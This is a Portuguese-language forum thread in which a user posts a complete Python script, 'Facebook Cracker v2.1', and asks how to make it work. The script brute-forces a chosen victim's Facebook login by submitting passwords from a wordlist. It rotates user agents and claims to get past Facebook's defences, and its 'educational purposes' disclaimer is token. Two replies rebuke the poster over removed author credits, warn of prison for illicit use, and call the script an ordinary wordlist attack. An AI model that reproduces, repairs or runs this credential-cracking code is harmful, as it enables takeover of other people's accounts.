f_society 0 Posted June 18, 2016 Boas :) Que posso mudar para que funcione? #!usr/bin/python #Facebook Cracker Version 2.1 can crack into Facebook Database 100% without Interruption By Facebook Firewall ! #This program is for educational purposes only. #Don't attack people facebook accounts it's illegal ! #If you want to crack into someone's account, you must have the permission of the user. #Mauritania Attacker is not responsible. import sys import random import mechanize import cookielib import pdb GHT = ''' +=======================================+ |..............F Society................| +---------------------------------------+ |#Author: F Society | |#Contact: F Society | |#Contributos: BasicExpert | |#contributor contact: | | | | | |#Date: 2016 | |#Update at: 2016 | |#This tool is made for pentesting. | |#Changing the Description of this tool | |Won't made you the coder ^_^ !!! | |#Respect Coderz ^_^ | |#I take no responsibilities for the | | use of this program ! | +=======================================+ |..........Facebook Cracker v 2.1.......| +---------------------------------------+ ''' print "Note: - This tool can crack facebook account even if you don't have the email of your victim" print "# Hit CTRL+C to quit the program" print "# Use www.graph.facebook.com for more infos about your victim ^_^" email = str(raw_input("# Enter |Email| |Phone number| |Profile ID number| |Username| : ")) passwordlist = str(raw_input("Enter the name of the password list file : ")) useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')] login = 'https://www.facebook.com/login.php?login_attempt=1' def attack(password): try: sys.stdout.write("\r[*] trying %s.. " % password) sys.stdout.flush() br.addheaders = [('User-agent', random.choice(useragents))] site = br.open(login) br.select_form(nr=0) ##Facebook br.form['email'] =email br.form['pass'] = password br.submit() log = br.geturl() if (log != login) and (not 'login_attempt' in log): pdb.set_trace() print "\n\n\n [*] Password found .. !!" print "\n [*] Password : %s\n" % (password) sys.exit(1) except KeyboardInterrupt: print "\n[*] Exiting program .. " sys.exit(1) def search(): global password for password in passwords: attack(password.replace("\n","")) def check(): global br global passwords try: br = mechanize.Browser() cj = cookielib.LWPCookieJar() br.set_handle_robots(False) br.set_handle_equiv(True) br.set_handle_referer(True) br.set_handle_redirect(True) br.set_cookiejar(cj) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) except KeyboardInterrupt: print "\n[*] Exiting program ..\n" sys.exit(1) try: list = open(passwordlist, "r") passwords = list.readlines() k = 0 while k < len(passwords): passwords[k] = passwords[k].strip() k += 1 except IOError: print "\n [*] Error: check your password list path \n" sys.exit(1) except KeyboardInterrupt: print "\n [*] Exiting program ..\n" sys.exit(1) try: print GHT print " [*] Account to crack : %s" % (email) print " [*] Loaded :" , len(passwords), "passwords" print " [*] Cracking, please wait ..." except KeyboardInterrupt: print "\n [*] Exiting program ..\n" sys.exit(1) try: search() attack(password) except KeyboardInterrupt: print "\n [*] Exiting program ..\n" sys.exit(1) if __name__ == '__main__': check() Share this post Link to post Share on other sites
morfo2 4,680 Posted June 19, 2016 Boas :) Que posso mudar para que funcione? #Don't attack people facebook accounts it's illegal ! #If you want to crack into someone's account, you must have the permission of the user. |..............F Society................| +---------------------------------------+ |#Author: F Society | |#Contact: F Society | |#Changing the Description of this tool | |Won't made you the coder ^_^ !!! | |#Respect Coderz ^_^ | Primeiro vais voltar a por os créditos originais porque não tens o direito de desrespeitar o autor. Segundo, tem em atenção que caso usufruas dessa tool de forma ilícita e caso a vitima retenha o que acabaste de partilhar, vais preso entre 2 a 5 anos. Share this post Link to post Share on other sites
zemiguel 4 Posted June 19, 2016 A única coisa que esse script faz é um bruteforce com base numa wordlist, nada de novo. Pelo que me parece ele não consegue agarrar no argumento de email que envias-te, possivelmente a sintaxe que envias-te não é a correcta. Se queres ser um "Hacker" a sério deixa de pegar em scripts já feitos, faz uns por ti próprio porque o que esse script faz não é nada de especial e aí sim já mereces o mérito. Share this post Link to post Share on other sites